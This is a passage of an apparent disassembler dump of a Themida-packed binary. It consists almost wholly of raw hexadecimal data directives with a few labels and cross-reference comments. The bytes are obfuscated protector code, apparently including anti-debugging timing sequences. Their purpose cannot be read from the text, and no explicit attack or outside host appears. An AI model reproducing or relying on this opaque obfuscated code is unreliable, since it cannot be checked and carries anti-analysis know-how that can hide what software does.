0C9108C3Dh, 64B537DAh, 894BD176h, 10B523F1h dd 0BE4BBD8Ch, 5BEADB2Eh, 0FA8578C1h, 0C1E72762h, 1800051Eh dd 200D55A2h, 9FB58E1Bh, 0F7F57965h, 6C32CDC0h, 0FA622795h dd 8901F3BAh, 0B5914817h, 0EE6BF811h, 0DB18B9B8h, 0AD1E1576h dd 289B72F8h, 34E5C99Dh, 5AB307C0h, 3D06F867h, 87A2EDCAh dd 920ED1F7h, 21B211B5h, 0CFC3EAA4h, 4DC17036h, 0BF48BC15h dd 0EBD2EFFh, 7D55D958h, 0CE9433A4h, 7DE18877h, 9A2C53D0h dd 7FE5B906h, 1ABCE4F9h, 11B61955h, 0B51B98EDh, 0F0E31E27h dd 64540555h, 68B12FA3h, 8554C877h, 74257514h, 164EC483h dd 0EAB04DBFh, 32627BFDh, 44CA7B6Bh, 0FF6D1C8Dh, 420CB72Ah dd 169C299Bh, 1B4210BEh, 0C82211B6h, 0FBD3F55Dh, 72F8601Ah dd 198DCDD0h, 42D87B6Dh, 54h, 32CDC070h, 936F626Ch, 471111B5h dd 0A88A1C3Eh, 1D5D87Ah, 0E7000000h, 76118455h, 0CB529E0h dd 720BFF56h, 0AB19C02Ch, 3DB140E6h, 0C52F5E4h, 528D90C6h dd 0F247A55Eh, 84D844FFh, 0A8E922A9h, 7E60F170h, 51CD76A3h dd 0EFF0D6BBh, 5311B59Ah, 33318502h, 7E19D2C0h, 0B3BE74A4h dd 0FFAE2572h, 36619656h, 0D46539C2h, 0D980CA57h, 0FDD559E8h dd 4AF5E8B1h, 0B891E514h, 4E7BB44h, 0C836F1F4h, 6DDE4B03h dd 4B148A61h, 0F711B628h, 41AAC56Eh, 8950CE44h, 5E376B16h dd 0CC9DDD6Eh, 0C28775DAh, 5099F145h, 0E9EDADB0h, 0B2D87B59h dd 8Fh, 0DD115500h, 0B591F4FBh, 15074C11h, 11B5914Ah, 30E96DF6h dd 0E04D0DC2h, 5388728h, 336BEF36h, 1DAE1ECFh, 0EB22A849h dd 25004AFBh, 0B5E03DEAh, 530B8FC8h, 97526B89h, 32A6429h dd 0E47AF095h, 49BAA715h, 90693DBAh, 0F1386E21h, 0BECE089h dd 0EB6FEC99h, 0A0366479h, 0F7D87AE1h, 10425C5Ah, 34BA7A62h dd 4A44h, 0D2C07600h, 5405693Dh, 0F62FA364h, 0CB204605h dd 0FBE92439h, 913A259Bh, 4B6D11B5h, 11B591A4h, 0E76CD71Ch dd 0C0DC029Ah, 17D8FECCh, 0AB11B591h, 0C789DD5Ah, 11B5930Bh dd 88D8ED7Bh, 0DD51F0E1h, 7AA80B9Bh, 154D8h, 0C0660000h dd 926B3FD0h, 893E641Fh, 29D6C891h, 234700F4h, 0F70E9C12h dd 0A13BCC3Ch, 337BCAC3h, 0F0A28D9Dh, 4565C00Fh, 0B301BC4h dd 5AAB0C82h, 0A0E43804h, 0FB02610Eh, 0B894E117h, 17FB02B7h dd 9132A20Bh, 7AAF2CCDh, 9D74FA89h, 3C0D9F2Ah, 66683EC9h dd 17FB046Bh, 0E38742B5h, 0B5E99A0Ah, 880B1292h, 0F32E37D1h dd 12E74500h, 72BEE49Fh, 86FCC8D7h, 0F7507C98h, 4D3E7D00h dd 7AD3275Eh, 0ED8AD887h, 9398D946h, 0AE004416h, 17FB59C1h dd 267EF401h, 0FCA25B4Fh, 59511EB0h, 64F117FBh, 0E9BD50BFh dd 5CBFC65Eh, 3A6A738Dh, 4DC18473h, 0CC3E2194h, 95C97467h dd 0B243E764h, 26F7B735h, 0A35208B3h, 707D692Fh, 1B26DEC0h dd 0EA000001h, 0BE34D1C3h, 1E625B8Ch, 0B591B7B8h, 7DFA0B11h dd 0B56F9B3Dh, 0BCC90FF0h, 0E19C0FE6h, 0C1E73B7Bh, 17FAAF1Eh dd 4DD51A2h, 0D9B0F691h, 0A4075BE6h, 63569194h, 0D3C796D8h dd 71C5742Ah, 0DECE9FDFh, 72F8792Dh, 0BFC6A204h, 75FDDEh dd 55CF0000h, 0FC721584h, 318E13BEh, 0D31D9FA3h, 8E206AF7h dd 11B5BA31h, 8243B37Ah, 45AAB0Ch, 0CF827138h, 0F812E466h dd 7EF42420h, 0B5E68F50h, 7C810311h dd 220B79D4h, 0E4252EC1h, 845CDA7Ch, 7FF37023h, 0CEE0943Dh dd 11B5D621h, 87D754A1h, 0B5D68E21h, 2385D911h, 11B5D63Ch dd 247A09FAh, 0D125AE15h, 9435A506h, 0E8A22FCEh, 0BF33CEC1h dd 582721h, 5B690000h, 681D8B62h, 0BE6FA3EBh, 143AB04Bh dd 0FF09ABAh, 0D2ABFF04h, 71B824DFh, 319FC37Eh, 17FA9923h dd 7C2DB65h, 3D73E994h, 4F612998h, 1644F5C9h, 0DDB4EA7Bh dd 5C0B5FEAh, 785D0104h, 7EE650EDh, 3986EA6Eh, 45B95F71h dd 0A20B1C8Fh, 5C50952Eh, 0F17EFFA3h, 625B756Bh, 3479BD3h dd 0B591C2ADh, 61F57E11h, 0FFEDB95Fh, 0A4FA0B0Fh, 0BD2FDACDh dd 98CE796Ch, 0EBF54436h, 6479FF04h, 0C38B36A9h, 1546298Fh dd 69FA2F14h, 0DE8443B4h, 0F445DB5Fh, 65344601h, 0B6B91F77h dd 0A2F1415h, 9EF67CF9h, 8711D8C7h, 58747D09h, 0AA57499Eh dd 0F64E792Dh, 22C134EFh, 0FBCB0A15h, 0E07CF947h, 471BA619h dd 2011h, 0F8557300h, 0CB390E8Bh, 70D16006h, 0A92D88D7h dd 1C8E5FDFh, 74623B6Fh, 1A8D52DFh, 0B43A3B6Fh, 3CD3C0B6h dd 611C8F66h, 0D473643Dh, 38C5378Eh, 681D8B62h, 0D86D5B32h dd 9BC2B82h, 7B0CFC55h, 0A15A4E27h, 976876FDh, 89000036h dd 0E189240Ch, 4C181h, 0E9830000h, 240C8704h, 63E4685Ch dd 4890000h, 15446824h, 2C890000h, 10BD5524h, 55725E77h dd 140324BDh, 5DE88974h, 685DE831h, 6872h, 83242489h, 5D042404h dd 56C68956h, 98240481h, 8F626802h, 6D810845h, 68029808h dd 2C8B5E62h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 582434FFh, 4C481h, 3AE90000h, 3EFFFB04h, 4BD80435h dd 0ACDC0DBFh, 1FB85560h, 3064A79h, 0B4E0FFC5h, 27741157h dd 0F934A5F2h, 0B71D1EB7h, 0F228533h, 0FD65CEF1h, 0A92D13FBh dd 0EE282FB9h, 7D16BC7Ah, 0E03A6C3Eh, 0CF249470h, 520D0C16h dd 0E86DBA14h, 1F2A9307h, 8E48B4EEh, 0F0497FB8h, 4F2273D3h dd 0B478FE46h, 0B633DB72h, 0A8560863h, 6B286433h, 5B426D5Ah dd 0DA1B98C1h, 875E5EB0h, 0E87B1D00h, 0FA21CA86h, 1A05DD0Bh dd 2C5B7DFDh, 7DE98411h, 5BA5E848h, 3DF11DACh, 4C050973h dd 0FF797537h, 54FFA472h, 0B182E787h, 0FF309987h, 747D226h dd 7223A67Ah, 0BD30818Ah, 0F93FA531h, 3E30A421h, 0F6ED71B7h dd 8F30A7E6h, 0C7382A38h, 693FA437h, 0F130A435h, 45B3C557h dd 7A7584D6h, 12B4AB37h, 0A930A437h, 8C9F4DE5h, 0C75AA437h dd 0E3334C60h, 0AE10A437h, 84B9FBF4h, 38B1A013h, 3E2DA013h dd 4877A437h, 7B3630F4h, 4580D8A1h, 6E59D037h, 0BB4AE4B2h dd 0FEB4AB31h, 2A30A437h, 0F1911E51h, 14D8F46Eh, 0C730A437h dd 0D9D86F23h, 27480028h, 78696771h, 79568033h, 0F1407CE5h dd 744A86B2h, 4F30CE31h, 8F30A7DFh, 4688437h, 0C7742D6Fh dd 0D5742533h, 0F830B333h, 0BF60E437h, 48E28B45h, 1F352C38h dd 0F66A437h, 57698FF9h, 0E330B7DEh, 70381E37h, 0BD24260Bh dd 0A55881BFh, 0F72FC89h, 0FD5A200h, 8FBEAB67h, 5730A437h dd 0E3282738h, 0E2D9A437h, 0FD30A437h, 0D9AFAA25h, 4C236B30h dd 0E2A6E3C0h, 2929A91Dh, 0E489EBD6h, 1C0465DFh, 0B42E11A2h dd 0A830CE31h, 7C30A7DFh, 0FD688437h, 3B742D6Fh, 0AB742533h dd 0C730B833h, 2060E437h, 44AB6160h, 4434AD16h, 92B1C251h dd 0FEBB90ABh, 9CC11338h, 0CA00058Ah, 0CE45A431h, 0E78D19B4h dd 8530A272h, 7363F42Eh, 784A1CF7h, 0BBB9A437h, 1975B6CAh dd 3A5C39BAh, 14CFA270h, 5EB3FC6Ch, 0F775A08Ah, 0A827D037h dd 784A1C64h, 0BBB9A437h, 1975B6CAh, 3D6B39BAh, 14CFA270h dd 0EDD9FC6Ch, 1E30A437h, 156BC0BEh, 310E1121h, 0FDE62949h dd 0E087AB18h, 52B064BCh, 0EDAD2988h, 5C36EE4Dh, 0F7228067h dd 9E3921BAh, 0F650A27Dh, 61D925CDh, 7E6133EAh, 8F5A74C8h dd 0C7334C64h, 0B810A437h, 0ADB9FFF4h, 0BCB1A013h, 7C29A013h dd 6D73A437h, 128254F4h, 80379D86h, 0C730B5BCh, 0EAD9C437h dd 4930A437h, 561BF038h, 0D7E3F4E7h, 0FE3BC5CBh, 1F482038h dd 8F5AA437h, 0C7334C61h, 0BD10A437h, 85B9FAF4h, 0BCB1A013h dd 7C27A013h, 6876A437h, 0E5889F4h, 0E6F9257Fh, 4A468E54h dd 0A67EB8AAh, 0A630CE31h, 0F830A7DFh, 0BF6F8437h, 1A4C2D68h dd 3B742533h, 8F30B133h, 467E337h, 5C56010Dh, 0F2880718h dd 9230A437h, 7FD8F337h, 1E30A437h, 966F6768h, 0E34804Bh dd 0DA348073h, 0A430A437h, 6A576760h, 0F1075E58h, 0B75B9C75h dd 0A3BD47C8h, 197ADE05h, 0E36F1E8Eh, 0CEB52926h, 8336EE51h dd 19EE2F51h, 0F830A431h, 0B1A964F4h, 8056DDE7h, 7E6E8E30h dd 89D974C8h, 3C30A437h, 512C410Dh, 0FEF0AFB6h, 0F830E9B3h dd 7361C437h, 0D76A5488h, 1F30A427h, 8474A9A0h, 3BFE6F35h dd 0BEC5A3CCh, 2AE5857Eh, 0E4AD2956h, 9536E179h, 3E30A423h dd 47043685h, 0C332365Fh, 49CB4104h, 0BDB8FC63h, 0BBC33AE1h dd 0F9884E85h, 7330A437h, 0FCB15D80h, 7B029333h, 12BD47C8h dd 0C17ADE00h, 0B61A45Dh, 0F130A434h, 0A1F3FD17h, 7814E8BEh dd 3A14E0B6h, 1F30A42Ch, 12F3F576h, 0E0A5E0E0h, 0B5688AC7h dd 976F4ABDh, 7DBD6BBCh, 7A7AC23Eh, 0D661A45Dh, 1F30A434h dd 0D6F3FD17h, 0C314E8BEh, 0E714E0B6h, 0F130A420h, 0C7F3F576h dd 9402A9BAh, 3E30A43Bh, 6D671DE9h, 6E4269E4h, 0FF651B54h dd 0E3322938h, 0AF67A437h, 92E05B6Eh, 7FD8F137h, 1E30A437h dd 966D676Ah, 0E34805Bh, 0DE348073h, 0A630A437h, 0C4F16762h dd 10E5380Ah, 0F83F643Ch, 3E30A46Eh, 0F762A45Dh, 8F30A434h dd 9DF3FE17h, 0E714F0BEh, 0F514E0B6h, 0F830A42Eh, 95F3F675h dd 0F73275CEh, 3AD295Eh, 0E536E179h, 0C4D8F237h, 0C330A437h dd 786E6769h, 79348043h, 60348073h, 7830A437h, 662E6761h dd 27F927C8h, 7F3F8933h, 0E330A434h, 9B631A51h, 735647C8h dd 7C5AE7E4h, 3E334C60h, 4010A437h, 0F3B9FBF4h, 83B1A013h dd 0E32BA013h, 0A677A437h, 0E903FCF4h, 9075E4D6h, 1E8D29B5h dd 9236EE4Dh, 0C54ECABAh, 9B4D1C31h, 66032E7Ch, 0F775AD86h dd 0BDF16B1Ch, 7ADE05A3h, 6F1E8E19h, 0B52926E3h, 36EE51CEh dd 0EE2F5183h, 30A43119h, 5E983F8h, 0C08BA4F3h, 14E8h dd 141CC700h, 0CD94700Fh, 7DDA899Dh, 0B703ECB4h, 9D586F69h dd 0D78B66A6h, 0C181665Fh, 0C38B42A2h, 0C0E7F181h, 0C08B6A8Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0EAC35141h dd 73D17887h, 0BE8AF631h, 14F8F015h, 30A1BD83h, 75000645h dd 0BDBD8309h, 64504h, 53501974h, 7AB8C08Bh, 89000004h dd 452C4185h, 0D39D8D06h, 0FF0647B5h, 83585BD3h, 4504BDBDh dd 17740006h, 7AB85350h, 89000004h, 452C4185h, 749D8D06h dd 0FF0647B2h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0F751C356h, 0D6963EDCh dd 0D78166A6h, 6657DB52h, 0E0CAEE81h, 0D3BF0F59h, 10E9h dd 4BA45000h, 0D4A4FB0Bh, 0C03F46F8h, 92B06C45h, 0E9C08B3Ah dd 13Ch, 4Fh dup(0) dd 1125BD83h, 0F010645h, 53484h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 907A57F1h dd 1527E025h, 81576097h, 138118C9h, 2BB75A23h, 0FE961h dd 0D43F0000h, 9F737795h, 9D5CB6F0h, 294BD2C2h, 2985C603h dd 43064518h, 38A0F60h, 0F000000h, 0F53D7B7h, 8Ah, 68615E00h dd 96506BACh, 0EE9h, 18BD6700h, 0A36B90E0h, 8653FC66h dd 810B003Fh, 0BB592434h, 8D0F7AF5h, 8, 28C0Fh, 61600000h dd 9D5B5FFh, 13E90645h, 0DF000000h, 2878487Ah, 2E11D6DBh dd 0B6E6AFAFh, 0EDCC923Ah, 858D3071h, 64878B6h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A0C35242h, 0AB2471B9h dd 0ED89762Ch, 0F9D0FF4Ch, 10718589h, 6A0645h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 973238C3h, 0DD06DF2Ah, 2985C6ADh, 50064518h, 14B85260h dd 5E662A8Dh, 0BE9h, 9A109200h, 514C297h, 2B7CDFA0h, 0DD1D6861h dd 5250F0DEh, 8E9h, 50EEB200h, 1E249E21h, 0F310FE3h, 687h dd 8C0F00h, 5A000000h, 24348158h, 5873704Bh, 0EE9h, 0E3717E00h dd 4196037Dh, 0AA1B6219h, 0FF9DF6CAh, 4509D5B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 858DFCF0h, 64878B6h, 0FE9h, 0C96F8000h, 343A48DCh, 9118F4A0h dd 40DF948Ah, 8160D0FFh, 4E63E4C6h, 39E3BB7Fh, 8961576Dh dd 45314D85h, 0F880F06h, 0E9000000h, 0Ah, 513DA8E8h, 50CB1C6Ch dd 4E81504h, 2F000000h, 0E9F08FA8h, 11h, 0FA4C1BECh, 794EBF76h dd 791BA74Fh, 0A02550D2h, 0DE950BFh, 76000000h, 6F599DDDh dd 9E6ACF88h, 8D46E6BFh, 424448Bh, 0FE9h, 0B373EB00h, 0A59B9510h dd 473ACD0Bh, 6AD9AC23h, 0DE9008Bh, 84000000h, 5B254D6Fh dd 641AC4CCh, 791659B2h, 4244489h, 0EE9h, 0F66CA300h, 4421D9Fh dd 0EAE8577Fh, 585A2BF0h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0DAC35040h, 601369B3h, 7E9h, 9DB66300h dd 4C9AEF64h, 0D5B5FF61h, 6A064509h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 3009C355h dd 0A6F66527h, 0B6858DF5h, 60064878h, 61DA8B66h, 0EE9D0FFh dd 0FF000000h, 0C68768D3h, 17111103h, 8C5342F2h, 0DD8589B5h dd 0E9064529h, 0Bh, 11A9F6FEh, 18D2711Fh, 0C6F6B40Fh, 45182985h dd 840F5006h dword_596304 dd 8, 0C6CA8060h, 61F9BF0Fh, 68A0F60h, 81000000h, 538401D1h ; DATA XREF: Themida_:0055F1ABo dd 0F3816678h, 0E861156Ah, 4, 979CDC56h, 0BE605250h, 57ABD2E1h dd 0E58DBF66h, 0E9310F61h, 0Bh, 9ECE5DD8h, 0BF75A0BBh dd 5AD285B7h, 52505058h, 61605250h, 840F310Fh, 0 dd 310F585Ah, 61605250h, 5250310Fh, 585A310Fh, 585A585Ah dd 424448Bh, 52505250h, 6E9h, 0FC603D00h, 0FCAC985h, 8D0F31h dd 5A000000h, 0E9310F58h, 6, 3BA54B4Eh, 585A52F0h, 0E960008Bh dd 14h, 3999C461h, 187F1FDFh, 0A6513732h, 0E1D25029h, 2EDB20C3h dd 8961C28Bh, 0F042444h, 0A8Ah, 60525000h, 60310F61h, 58585A61h dd 85B5FFF8h, 0F064509h, 183h, 858DF800h, 64539FBh, 0FCD0FFF9h dd 2F198589h, 12E90645h, 0E4000000h, 74C43629h, 1A453E7Dh dd 4FE9F5FBh, 5CE91017h, 15FE9BEh, 60FC0000h, 28C0Fh, 0CF8B0000h dd 840F9561h, 0Eh, 61605250h, 800F310Fh, 0 dd 6050585Ah, 52505250h, 585A310Fh, 0E5B8310Fh, 5A5D4E10h dd 27EDBF58h, 95612ECFh, 10BE6660h, 0C1F18161h, 612DE5C9h dd 11E9EC8Bh, 3000000h, 7EB79247h, 1BF07AB7h, 268481C0h dd 0DCB17F0h, 0FCC483FCh, 0AE960h, 70800000h, 93A498BFh dd 424B9D07h, 0F561D98Bh, 10E960h, 0DA5B0000h, 1AFAE887h dd 37D3DCBAh, 0E28CCAE8h, 0E84EDFh, 5A000000h, 8528EA81h dd 45C7064Ah, 0FCh, 25BA8300h, 1064511h, 98840Fh, 6A520000h dd 0FF0F6A00h, 45107192h, 82895A06h, 64A7F79h, 7F7D9A8Dh dd 0C752064Ah, 12803h, 0FF505300h, 45314D92h, 8D525A06h dd 4A7F7D9Ah, 0B2FF5306h, 64A7F79h, 2F1992FFh, 0B5A0645h dd 8D5074C0h, 4A7F7D9Ah, 247B8D06h, 0F981C933h, 104h, 8141D474h dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 6452649h dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 2649828Dh, 0FF500645h dd 4529DD92h, 0C00B5A06h, 45C7A075h, 1FCh, 0C707EB00h dd 0FC45h, 8B610000h, 0C2C9FC45h, 0DE90008h, 7F000000h dd 1451B5CBh, 2183D7E2h, 57875F4Fh, 0E9D28BF8h, 266h, 0D98C6660h dd 0F04C1F6h, 3584h, 0FF016A00h, 450985B5h, 0B6858D06h dd 0FF064878h, 998589D0h, 8B064530h, 0CEFC1FEh, 6000068h dd 6A006A20h, 0D685702h, 0FF000100h, 45309995h, 32E906h dd 85C60000h, 6451829h, 30DF6856h, 0B5FFA9C5h, 64509D5h dd 78B6858Dh, 0D0FF0648h, 6658589h, 858D0645h, 6451E21h dd 6A406A50h, 95FF5605h, 6450665h, 0C361h, 2 dup(0) db 2 dup(0) word_5965F2 dw 8B52h ; DATA XREF: Themida_:0053E564o dd 428B60D4h, 7B858908h, 8B064A86h, 85890C42h, 64A8673h dd 8910428Bh, 4A867785h, 0B1B58D06h, 8D064A86h, 5B7E3585h dd 61D0FF00h, 0CC25Ah, 867BB58Bh, 858B064Ah, 64A8673h dd 8677BD83h, 0F00064Ah, 784h, 0E9068900h, 2, 0CF0688h dd 0 db 3 dup(0) byte_59664F db 52h ; DATA XREF: Themida_:0053EFFCo dd 8B60D48Bh, 85890842h, 64A867Bh, 8702B58Dh, 858D064Ah dd 5B7E35h, 5A61D0FFh, 867B858Bh, 4C2064Ah, 7B858B00h dd 8B064A86h, 7B858900h, 0CF064A86h, 0 dword_596688 dd 0D8B58960h, 89064A86h, 4A86D485h, 7D858D06h, 8B06452Ah ; DATA XREF: Themida_:0053F738o dd 85894440h, 64A8711h, 8747B58Dh, 858D064Ah, 5B7E35h dd 8B61D0FFh, 4A86D885h, 9D8BC306h, 64A86D4h, 3C43B70Fh dd 5B8BD803h, 0D49D0378h, 8B064A86h, 0B5032473h, 64A86D4h dd 207B8B56h, 31C738Bh, 4A86D4BDh, 0D4B50306h, 0FC064A86h dd 41FFC983h, 86D89D8Bh, 178B064Ah, 86D49503h, 0C783064Ah dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 86D48503h, 8589064Ah, 64A86D8h, 0CE8BF08Bh dd 0BD81C18Bh, 64A8711h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 4A8711BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 64A8711h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 4A8711BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 64A867Fh, 5F18589h dd 858D0645h, 64A8715h, 17C58589h, 858D0645h, 64A86DCh dd 10898589h, 5E80645h, 74000000h, 0F616EC39h, 5EFA8B51h dd 9AF68159h, 815A6143h, 6AC1C1h, 0B8D98B00h, 6DD56762h dd 4CDAE881h, 6E96DD5h, 0C7000000h, 0B62E9DEh, 0E931FF30h dd 6, 50F30C3Bh, 0F5AB2BCh, 158Bh, 0FE800h, 0B0730000h dd 2E049393h, 0D1C6E24h, 50160E6Bh, 0F2815EB9h, 251D4D9h dd 0DC98DF81h, 0C281494Dh, 0D559EBAh, 0F281F88Bh, 3C553E19h dd 0BE85351h, 0EF000000h, 1DAAC45Ch, 0F4AE47FFh, 5F5E567Eh dd 0F98B525Bh, 8166018Fh, 830E32CBh, 494901E9h, 0FE8B6649h dd 1E881h, 850F0000h, 0FFFFFF89h, 8A468D8Dh, 6A064Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 445E8C3h, 2A018D89h, 6A0645h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 1B0B2BC3h, 0D8E0F5Dh dd 0E9000000h, 8, 20F1FBA6h, 0CB3D0AF9h, 5BDF8166h, 0D585C7AAh dd 78064503h, 6A000065h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0D0D6C357h, 0EA6AE328h dd 8B9264FAh, 451FC5BDh, 5D85C706h, 64509h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 38A8C355h, 0B5FFAEB4h, 6450B61h, 13E8h db 0 byte_59696D db 6Ah, 77h, 5Eh ; DATA XREF: Themida_:0054002Co dd 0BB4DFD8Bh, 4D118749h, 430729A7h, 0AAA102B9h, 7E9h dd 0A14A4D00h, 0B37DD362h, 1195FF5Bh, 6A06452Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 9F45C357h, 6A9852h, 312195FFh, 0C08B0645h, 3EEA0BEBh dd 5C0E9114h, 6F3BEA35h, 898D8D1Ah, 6A064A8Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0C451C356h, 0E1152109h, 9D89599Ch, 64520B9h, 2A018D89h dd 5E90645h, 77000000h, 975E2BE4h, 3D585C7h, 6CC00645h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 84D78C3h, 8B590EAh, 0C8A0F62h, 0F000000h dd 681h, 6D958900h, 0C7064513h, 45095D85h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9511EDCh, 452FED95h, 0BD895E06h, 64521E5h, 631B5FFh dd 6A0645h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 89FF9BC3h, 452F5985h, 0E18D0906h, 0FF064503h dd 452A1195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 2F8D01FDh, 12AA1367h, 8589766Dh dd 6453065h, 14E9h, 84BCC200h, 1073FA73h, 8E2A84D5h, 8C3E12D5h dd 831950B6h, 0FF006AC3h, 45312195h dword_596AFC dd 0EBC08B06h, 3996AB6Ch, 0E997472Eh, 0BA460DD9h, 21DBA970h ; DATA XREF: Themida_:0053E354o ; Themida_:0053E4D8o ... dd 0C040F637h, 29703A7Ch, 1B891C8Ah, 5D05AB0Bh, 0E74499D9h dd 0A6AFEF5Fh, 558D77AFh, 0B8A7E6CEh, 2F600648h, 0D3FBB850h dd 89EE7D24h, 26395E75h, 8BA49053h, 939CD373h, 0F46CC9DFh dd 6859FCF4h, 88F8769Dh, 0C01150FEh, 87548BE7h, 2A6ECAB2h dd 776DED50h, 9E6C6BBBh, 54EB4589h, 15CE9A7h, 1D2F0000h dd 49CBF050h, 5AB49648h, 54B90A5Ah, 54B95351h, 5A330A52h dd 73CF5359h, 26A63A72h, 27375320h, 7B73C400h, 0B49860B4h dd 16055267h, 17D65316h, 167F5316h, 16BB5316h, 16DF5316h dd 16EF5316h, 16D85316h, 16FB5316h, 16F55316h, 16FE5316h dd 6F2C5316h, 7BDA2765h, 648F7316h, 658A3079h, 16F70E65h dd 16FB5316h, 16FD5316h, 16FE5316h, 167F5316h, 16BF5316h dd 16DF5316h, 16EF5316h, 16F75316h, 16FB5316h, 16FD5316h dd 16FE5316h, 167F5316h, 16BF5316h, 16DF5316h, 16EF5316h dd 16F75316h, 16FB5316h, 16FD5316h, 16FE5316h, 167F5316h dd 16BF5316h, 16DF5316h, 16EF5316h, 16F75316h, 16FB5316h dd 16FD5316h, 16FE5316h, 167F5316h, 16BF5316h, 16DF5316h dd 16EF5316h, 16F75316h, 16FB5316h, 16FD5316h, 16FE5316h dd 167F5316h, 16BF5316h, 16DF5316h, 16EF5316h, 16F75316h dd 16FB5316h, 16FD5316h, 16FE5316h, 167F5316h, 16BF5316h dd 16DF5316h, 16EF5316h, 16F75316h, 16FB5316h, 16FD5316h dd 16FE5316h, 167F5316h, 16BF5316h, 16DF5316h, 16EF5316h dd 16F75316h, 16FB5316h, 16FD5316h, 16FE5316h, 167F5316h dd 0EB7F5316h, 1CE96447h, 68000016h, 64A8F40h, 0FBB855E9h dd 901068FFh, 4BE9064Ah, 68FFFBB8h, 64A912Ah, 0FBB841E9h dd 91F468FFh, 37E9064Ah, 68FFFBB8h, 64A9371h, 0FBB82DE9h dd 94BF68FFh, 23E9064Ah, 68FFFBB8h, 64A957Eh, 0FBB819E9h dd 965968FFh, 0FE9064Ah, 68FFFBB8h, 64A9830h, 0FBB805E9h dd 993468FFh, 0FBE9064Ah, 68FFFBB7h, 64A99D5h, 0FBB7F1E9h dd 9A5968FFh, 0E7E9064Ah, 68FFFBB7h, 64A9BD5h, 0FBB7DDE9h dd 0A10368FFh, 0D3E9064Ah, 68FFFBB7h, 64AA216h, 0FBB7C9E9h dd 0E37B95FFh, 3FA92058h, 4DDFF4ACh, 980E8A02h, 28A65F51h dd 0CF01B4A1h, 9F115836h, 2963EA64h, 0F8B03B93h, 5A034AC4h dd 0B6E402CEh, 7EEA2D57h, 0F7636306h, 89813D77h, 0B9E04240h dd 6FFE6594h, 3242F4CAh, 0A5B234FCh, 0AB1C33A1h, 0D3B07808h dd 3D355E95h, 6AF8508Ah, 282D5C95h, 6F8569C0h, 0B873F54h dd 4EE91CD3h, 2713C126h, 3190AAh, 7A900000h, 0DC93CB5Dh dd 68C2546Ch, 9CFEACD7h, 0A068289Eh, 355F3FDFh, 0F42C8E31h dd 2D5D3F6Eh, 8965DC14h, 43F26463h, 266DC629h, 0E2EDAAh dd 63890000h, 3D77F763h, 0DED41680h, 5032A826h, 0DB71657Fh dd 0F56C9C20h, 54E77393h, 0A15E2BFEh, 0DBB74F33h, 0EC9F3090h dd 6CFE1539h, 89304B79h, 0C59E366Eh, 0E86299CEh, 199CDE45h dd 0A3E1B305h, 7A43A56Dh, 0DA8D33A1h, 8BDE63BBh, 4832355Eh dd 27B6DDB7h, 7A3A8C92h, 2A368B24h, 20D7F012h, 5CF18CDAh dd 7A9D422Dh, 7AFBD42Ah, 8CA32690h, 0A0AE74EFh, 302F1884h dd 0ABB036F2h, 0A91E339Fh, 26E2B00Eh, 339FABC0h, 6232590Eh dd 0CC1F8904h, 0EF7996FCh, 0E5F8B9F8h, 4AED3E2Fh, 6B65F312h dd 97F7E170h, 99EE9AE0h, 23000013h, 0EEA629A1h, 82FA45D3h dd 50489305h, 0E59F2EB8h, 0EEEF7EE8h, 0EA649957h, 3C962963h dd 4DDDFBADh, 9C0A8A02h, 0D098884Dh, 2D57B496h, 63D4AC38h dd 3365F462h, 0F6B40793h, 64A89E9Ch, 0ED22C0C9h, 1C94BFEh dd 355ECE80h, 7F95EF50h, 66F01340h, 5DC47BF3h, 0A55D4B19h dd 0EA788235h, 0A82D5CCEh, 9A1DE940h, 0B9AA26DEh, 0BAh dd 0F76363DDh, 0D3803D77h, 0A807A733h, 0BA71A905h, 0F033A23Fh dd 81FB42DCh, 0DC59950Dh, 0C22868DEh, 562651C7h, 5F52259Ah dd 85D47B35h, 0D858EEECh, 18A00910h, 6030A72Fh, 0A0006622h dd 19CE339Fh, 268AEFEh, 67D81284h, 5471E870h, 0E41FC033h dd 449701BCh, 2527B14Ch, 97F70024h, 0C9264298h, 73000012h dd 3E76F951h, 0D2CA1583h, 6018A335h, 356FFE68h, 